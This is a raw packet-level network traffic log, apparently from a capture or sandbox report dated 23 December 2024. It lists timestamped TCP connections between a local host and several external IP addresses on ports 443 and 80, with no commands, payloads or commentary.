Dec 23, 2024 08:40:02.663131952 CET	443	49748	147.45.49.155	192.168.2.9
Dec 23, 2024 08:40:02.663163900 CET	49748	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:40:02.663187027 CET	49748	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:40:02.664031982 CET	443	49748	147.45.49.155	192.168.2.9
Dec 23, 2024 08:40:02.664099932 CET	49748	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:40:02.664105892 CET	443	49748	147.45.49.155	192.168.2.9
Dec 23, 2024 08:40:02.664120913 CET	443	49748	147.45.49.155	192.168.2.9
Dec 23, 2024 08:40:02.664169073 CET	49748	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:40:02.664417028 CET	49748	443	192.168.2.9	147.45.49.155
Dec 23, 2024 08:40:06.273855925 CET	49775	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:06.273900032 CET	443	49775	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:06.274019003 CET	49775	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:06.274307966 CET	49775	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:06.274327040 CET	443	49775	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:06.410788059 CET	49776	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:06.410837889 CET	443	49776	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:06.410917044 CET	49776	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:06.411432028 CET	49777	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:06.411482096 CET	443	49777	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:06.411715984 CET	49776	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:06.411739111 CET	443	49776	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:06.411823988 CET	49777	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:06.412014008 CET	49777	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:06.412029982 CET	443	49777	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:06.448934078 CET	49778	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:06.448976994 CET	443	49778	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:06.449037075 CET	49778	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:06.449670076 CET	49778	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:06.449686050 CET	443	49778	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:06.604227066 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:06.723797083 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:06.723891973 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:06.729788065 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:06.849270105 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:07.101645947 CET	49785	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:07.101701975 CET	443	49785	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:07.101771116 CET	49785	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:07.102010965 CET	49785	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:07.102025986 CET	443	49785	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:07.179039955 CET	49786	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:07.179163933 CET	443	49786	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:07.179243088 CET	49786	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:07.179657936 CET	49786	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:07.179701090 CET	443	49786	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:07.273194075 CET	49787	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:07.273256063 CET	443	49787	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:07.274086952 CET	49787	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:07.274323940 CET	49787	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:07.274337053 CET	443	49787	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:07.562108994 CET	49704	443	192.168.2.9	23.206.229.209
Dec 23, 2024 08:40:07.562108994 CET	49704	443	192.168.2.9	23.206.229.209
Dec 23, 2024 08:40:07.626111984 CET	443	49777	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:07.629853010 CET	49777	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:07.629884958 CET	443	49777	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:07.630909920 CET	443	49777	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:07.630975008 CET	49777	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:07.636276960 CET	49777	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:07.636341095 CET	443	49777	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:07.636514902 CET	49777	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:07.636523008 CET	443	49777	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:07.638501883 CET	443	49776	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:07.638691902 CET	49776	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:07.638705969 CET	443	49776	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:07.639767885 CET	443	49776	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:07.639828920 CET	49776	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:07.640672922 CET	49776	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:07.640734911 CET	443	49776	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:07.640944004 CET	49776	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:07.640952110 CET	443	49776	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:07.665632010 CET	443	49778	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:07.665878057 CET	49778	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:07.665899038 CET	443	49778	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:07.667129993 CET	443	49778	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:07.667196989 CET	49778	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:07.668282986 CET	49778	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:07.668358088 CET	443	49778	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:07.668540001 CET	49778	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:07.668550014 CET	443	49778	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:07.682490110 CET	443	49704	23.206.229.209	192.168.2.9
Dec 23, 2024 08:40:07.682854891 CET	49704	443	192.168.2.9	23.206.229.209
Dec 23, 2024 08:40:07.833163977 CET	49777	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:07.833172083 CET	49776	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:07.833172083 CET	49778	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.055866957 CET	443	49776	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:08.055955887 CET	443	49776	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:08.056006908 CET	49776	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.056246996 CET	49776	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.056267977 CET	443	49776	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:08.056992054 CET	443	49777	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:08.057219028 CET	443	49777	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:08.057296991 CET	49777	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.057466984 CET	49777	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.057485104 CET	443	49777	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:08.100809097 CET	443	49778	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:08.100899935 CET	443	49778	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:08.100950003 CET	49778	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.101141930 CET	49778	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.101165056 CET	443	49778	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:08.106728077 CET	49786	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.107228994 CET	49789	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.107270002 CET	443	49789	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:08.107414007 CET	49789	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.110064983 CET	49787	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.110178947 CET	49775	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:08.111182928 CET	49790	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.111223936 CET	443	49790	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:08.111277103 CET	49790	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.111723900 CET	49791	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.111733913 CET	443	49791	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:08.111762047 CET	49785	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.111788988 CET	49791	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.112009048 CET	49792	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.112091064 CET	443	49792	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:08.112154007 CET	49792	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.112166882 CET	49793	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.112194061 CET	443	49793	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:08.112246037 CET	49793	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.112346888 CET	49789	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.112359047 CET	443	49789	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:08.112874985 CET	49790	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.112905025 CET	443	49790	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:08.113296986 CET	49791	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.113308907 CET	443	49791	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:08.113420010 CET	49792	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.113454103 CET	443	49792	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:08.113497972 CET	49793	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.113523006 CET	443	49793	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:08.147339106 CET	443	49786	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:08.151340961 CET	443	49787	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:08.155335903 CET	443	49775	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:08.155339956 CET	443	49785	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:08.166053057 CET	443	49775	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:08.166129112 CET	49775	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:08.231071949 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.231163979 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.231184006 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.231228113 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.231372118 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.231401920 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.231417894 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.231425047 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.231436014 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.231467962 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.231667995 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.231684923 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.231703043 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.231705904 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.231790066 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.308705091 CET	443	49785	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:08.308792114 CET	49785	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.350790024 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.350836992 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.350899935 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.387509108 CET	443	49786	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:08.387605906 CET	49786	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.387631893 CET	443	49786	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:08.387764931 CET	49786	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.428577900 CET	49796	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.428678989 CET	443	49796	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:08.428740978 CET	49797	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.428761959 CET	49796	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.428776979 CET	443	49797	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:08.428834915 CET	49797	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.429016113 CET	49798	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.429030895 CET	443	49798	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:08.429075956 CET	49798	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.429178953 CET	49799	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.429188013 CET	443	49799	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:08.429230928 CET	49799	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.429452896 CET	49796	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.429462910 CET	443	49796	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:08.429842949 CET	49797	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.429860115 CET	443	49797	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:08.429946899 CET	49798	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.429954052 CET	443	49798	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:08.430082083 CET	49799	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.430092096 CET	443	49799	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:08.443587065 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.443723917 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.443778038 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.447710037 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.447812080 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.447988987 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.456095934 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.456253052 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.456319094 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.464525938 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.464601994 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.464709044 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.472875118 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.472917080 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.472956896 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.481193066 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.481298923 CET	443	49787	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:08.481309891 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.481369972 CET	49787	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:08.481378078 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.489717960 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.489774942 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.489831924 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.497993946 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.498051882 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.498136044 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.506382942 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.506530046 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.506697893 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.514719963 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.514826059 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.514873028 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.523129940 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.523166895 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.523221970 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.656080961 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.656133890 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.656187057 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.658797979 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.658873081 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.658912897 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.664350986 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.664413929 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.664459944 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.669811010 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.669893026 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.669938087 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.675301075 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.675409079 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.675462961 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.680788040 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.680913925 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.680969000 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.686337948 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.686405897 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.686573029 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.691766977 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.691834927 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.691998005 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.697290897 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.697402000 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.697446108 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.702728987 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.702840090 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.702971935 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.708215952 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.708370924 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.708421946 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.713685036 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.713783026 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.713866949 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.719197989 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.719295979 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.719350100 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.724636078 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.724737883 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.724951029 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.730150938 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.730227947 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.734251022 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.735569000 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.832928896 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.868911028 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.868951082 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.869081974 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.871066093 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.871184111 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.871360064 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.875678062 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.875971079 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.876014948 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.880295038 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.880438089 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.880481958 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.884918928 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.885133982 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.885200977 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.889504910 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.889631033 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.889698982 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.894144058 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.894234896 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.894275904 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.898751020 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.898866892 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.898941040 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.903425932 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.903522015 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.903558016 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.907974958 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.908072948 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.908135891 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.912657976 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.912763119 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.912798882 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.917268038 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.917330027 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.917385101 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.921804905 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.921922922 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.922010899 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.926425934 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.926563978 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.926635027 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.931068897 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.931166887 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.931278944 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.935659885 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.935775995 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.935885906 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.940320969 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.940390110 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.940442085 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.944899082 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.944996119 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.945038080 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.949500084 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.949542046 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.949593067 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.954149008 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.954216003 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.954303980 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.958731890 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.958882093 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.959043980 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.963331938 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.963427067 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.963500977 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.967973948 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.968040943 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.968123913 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.972587109 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.972718000 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.972923040 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:08.977180004 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.977267981 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:08.977319956 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.081609011 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.081760883 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.081825018 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.083447933 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.083583117 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.083738089 CET	49780	80	192.168.2.9	139.99.188.124
